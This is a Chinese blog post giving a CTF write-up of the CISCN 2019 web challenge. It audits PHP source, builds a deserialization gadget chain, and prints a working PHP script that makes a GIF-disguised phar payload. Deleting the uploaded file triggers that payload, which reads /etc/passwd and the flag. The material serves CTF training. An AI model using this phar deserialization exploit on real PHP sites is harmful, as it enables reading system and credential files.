BMZCTF:CISCN_2019_WEB_1
标签: BMZCTF:CISCN_2019_WEB_1 代码人生博客 51CTO博客
2023-06-19 18:24:24 107浏览
http://bmzclub.cn/challenges#CISCN_2019_WEB_1

先熟悉下业务功能,注册登录之后,有个上传文件的地方,然后可以下载或者删除上传的文件

题目这里没有提供源码,自己网上找一下2019CISCN华北赛区Day1的web题
源码地址:CISCN-2019-Northern-China-Web
文件上传这里并没有看到可以绕过白名单上传shell的方法

审计源码,发现一个file_get_contents()
//class.php
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
.......
public function close() {
return file_get_contents($this->filename);
}
}
控制$filename,然后(New File())->close(),然后寻找有没有魔术方法能做到
//class.php
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
........
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
//class.php
class User {
public $db;
public function __destruct() {
$this->db->close();
}
}
FileList::__call()结合User::__destruct()就能调用到(New File())->close(),将(New File())赋$files,然后通过将(new FileList())赋值给$this->db形成(New FileList())->close()这样调用是无法访问的,就会触发魔术方法FileList::__call(),然后这里__call的参数$func就是close(),即$file->$func()是(New File())->close()。
并且在FileList::__destruct()中可以将结果输出到$value
function __call(string $function_name, array $arguments)
{
// 方法体
}
该方法有两个参数,第一个参数 $function_name 会自动接收不存在的方法名。
第二个 $arguments 则以数组的方式接收不存在方法的多个参数。
User::__destruct()->FileList::__call()->FileList::__destruct()->File::close()
完整的POP链已经构造完成,接下来看下如何找到反序列化点
//delete.php
include "class.php";
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
删除文件操作的时候,使用了File::open(),该方法中使用了file_exists()判断$filename是否存在,这样就很明显可以使用phar反序列化,构造POC
<?php
class User{
public $db;
}
class File{
public $filename = "/etc/passwd";
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct(){
$this->files = array(new File());
$this->results = array();
$this->funcs = array();
}
}
$ins = new User();
$ins->db = (new FileList());
echo serialize($ins);
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($ins);
$phar->addFromString("mochu.txt", "mochu7");
$phar->stopBuffering();
?>
将生成的exp.phar后缀改为gif,然后上传,点击删除的时候抓包并触发phar反序列化
filename=phar://exp.gif

成功读取到/etc/passwd内容,修改$filename = "/flag",重新生成上传,读取flag
O:4:"User":1:{s:2:"db";O:8:"FileList":3:{s:15:"FileListfiles";a:1:{i:0;O:4:"File":1:{s:8:"filename";s:5:"/flag";}}s:17:"FileListresults";a:0:{}s:15:"FileListfuncs";a:0:{}}}

好博客就要一起分享哦!分享海报
此处可发布评论
评论(0)展开评论
展开评论
您可能感兴趣的博客
